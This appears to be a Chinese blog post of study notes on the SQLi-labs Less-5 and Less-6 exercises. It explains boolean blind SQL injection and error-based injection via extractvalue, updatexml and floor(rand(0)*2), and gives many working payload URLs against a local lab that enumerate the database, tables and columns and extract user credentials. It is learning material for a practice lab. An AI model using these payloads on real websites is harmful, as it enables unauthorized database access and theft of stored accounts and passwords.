Sql注入学习笔记(5~6)两关教会你:布尔+报错注入

目录

前言:

Less-5

布尔盲注

布尔盲注思路:

判断数据库类型

判断数据库

判断表

判断字段

获取数据

报错注入:

定义:

常用的函数:

extractvalue()

updatexml()

floor()

主键重复报错原理:

Less-6


前言:

因为在less 5之后,注入稍加难度,所以我分开来写。

从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了。

Less-5

布尔盲注

        布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功

1. 我们输入正确的id,显示You are in .....

1.我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态

所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

布尔盲注思路:

判断数据库类型

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

判断数据库

1:判断当前数据库的长度,利用二分法,多次尝试
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示

2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
...........
由此可以判断出当前数据库为 security

判断表

1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

判断字段

1:判断表中字段的个数
//判断users表中字段个数
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')=3 --+
 
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
 
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
 
由此可判断出users表中存在 id、username、password 字段

获取数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
 
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

当然学习阶段自己手工注入是个很好的学习过程。

报错注入:

定义:

当网站的页面上没有显示位用于展示SQL语句执行后的结果,但是sql语句执行可以输出错误信息,那么攻击者可以利用注入过程中返回的错误信息进行判断。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

常用的函数:

前两种用法基本一致且简单。第三种有点难度

(1)extractvalue()

(2)updataxml()

(3)floor()

extractvalue()

extractvalue(xml_document,xpath_string)

xml_document:是xml文档对象的名称

xpath_string:是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。

payload:extractvalue(null,concat(0x7e,(sqli_inject),0x7e))

注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”-“号。

下面还以 less-5 为例

判断注入类型,字符型注入且没有显示位

Less-5/?id=1'

当前数据库、用户、版本:

当前数据库:
Less-5/?id=1' and extractvalue(null,concat(0x7e,database(),0x7e))  --+
当前用户:
Less-5/?id=1' and extractvalue(null,concat(0x7e,user(),0x7e))  --+
数据库版本:
Less-5/?id=1' and extractvalue(null,concat(0x7e,version(),0x7e))  --+

 表:

Less-5/?id=1' and extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))  --+

 字段:

Less-5/?id=1' and extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))  --+

 数据:

注:我这里使用的 limit,因为返回字符长度限制在 32 位。 

Less-5/?id=1' and extractvalue(null,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e))  --+

updatexml()

updatexml() 语法上与 extractvalue() 多了一个参数,其余用法一致。

updatexml(xml_document,xpath_string,new_value

xml_document:xml文档名称

xpath_string :xpath格式字符串

new_value : string格式,替换查找到的符合条件的数据

        作用是,改变文档中符合条件的节点的值

payload格式如下:

updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)

实验步骤不在演示,给出payload:

表:

sqli_inject = select group_concat(table_name) from information_schema.tables where table_schema='相应数据库名'

字段:

sqli_inject =select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='相应表名'

floor()

主要函数:

as:别名

count(*):汇总统计数量,返回表中的记录数,记录列名的行数,一般配合group by使用。

concat_ws()函数:将括号内数据用第一个字段连接起来(和concat差不多)

group by:分组排序。group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中。

limit:这里用于显示指定行数

floor():向下取整,即返回不大于x的最大整数值,比如floor(1.2)返回1。

rand():返回大于0,小于1的随机浮点数,一般配合floor来使用。rand(0)不是随机的,它会返回固定的小数,我们就是利用这个特性来进行注入。

floor(rand(0)*2):返回01序列

————————————————

>select rand();

>select  rand()*2:计算结果在0-2之间

>select rand() from users; (users表有多少列,就输出几个随机数)

>select floor(rand()*2);

>select floor(rand()*2) from information_schema.tables;

>select concat_ws('~',2,3) 使用~连接2,3

> select concat_ws('~',(select database()),floor(rand()*2)) from users;

>select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a

把绿色部分取一个别名 a ,在使用group by 对a进行分组

>count(*) 统计数量

>select count(*),concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a

>select concat_ws('~',(select database()),floor(rand(0)*2)) as a from users group by a;

不管执行多次报错

>select concat_ws('~',(select database()),floor(rand(1)*2)) as a from users group by a;

永久不会报错,回显也不会变

数据库:

?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2))  as a from information_schema.tables group by a--+

表:

/?id=1' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))  as a from information_schema.tables group by a--+

主键重复报错原理:

借阅文章链接:SQL 报错注入详解_陌兮_的博客-CSDN博客_报错注入

先看paylod 在进行分析

' union select 1,count(*),concat(floor(rand(0)*2),database())x from `users` group by x %23

这个就是把发生报错的 select 作为一个子查询,外面有一个 select 1,2,3 from 子查询 (1,2,3 是为了与union 前面的字段数保持一致,上面的 payload 多加了一个 1,也是同理)

这里的 payload 可能是考虑到 MySQL Group By 中 Select 指定的字段限制,在select指定的字段要么就要包含在Group By 语句的后面,作为分组的依据;要么就要被包含在聚合函数中。
————————————————
floor(rand(0)*2) 的目的:为了产生固定顺序的 0 、1 数

产生这些 0 1数有什么用处呢?接下来就与 MySQL 的 group by 有关了

先把 payload 中关键的部分,也就是发生报错的 select 语句粘到 sqlyog 中执行一下,发现报错信息是 “Duplicate entry ‘1security’ for key ‘<group_key>’ ”,就是主键重复,主键必须是非空且不能重复的。

group by key 的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则不在临时表中更新临时表的数据;如果 key 不在临时表中,则在临时表中插入 key 所在行的数据。

这个临时表的主键就是 group by 后面的字段 x ,x 仅仅是 concat(floor(rand(0)*2),database()) 的别名,这样我们就基本弄清报错的原因了,其原因主要是因为临时表的主键 x 重复。在这里 group by 要对 x 进行两次运算,也就是要调用两次 rand(0) ,第一次是拿 group by 后面的字段值到临时表中去对比前,首先获取group by后面的值,这时用 concat(floor(rand(0)*2),database()) 计算出第一个 x 值;第二次是用 group by 后面的字段的值在临时表中查找,如果存在于表中,就不需要更改临时表,如果不存在与临时表中,那就需要把它插入到临时表中,这里在插入时会进行第二次运算,由于 rand() 函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在临时表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

为什么要有聚集函数 count(*) ?

如果没有聚集函数 count(*) ,并不报错。

至于原因,我也查找了很多关于 group by 的实现原理,感觉都不能很好的解释,所以这里又是一个未解决的问题。(上面的 group by 原理来源于参考文章,是否正确有待验证。)

用上面的 payload concat(floor(rand(0)*2),database()) 来举例

floor(rand(0)*2) 产生的前五个数比如:01101,后面再拼接上 database(),这个是固定值,先不用管。接下来模拟下 group by 过程,遍历 users 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;遍历到第二行,计算出一个 x=1security,临时表中已经存在,继续遍历;遍历到第三行,计算出一个 x=0security,发现表中没有,再次计算 x 然后插入 x=1security,因为刚才已经插入过一个 1security,所以这时就发生主键重复。然后把 1security 作为报错信息输出,攻击者便可得到相关信息。

Less-6

判断注入点

less-6 和 less-5 整个通关过程基本一致,后面就按less-5 来就行了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值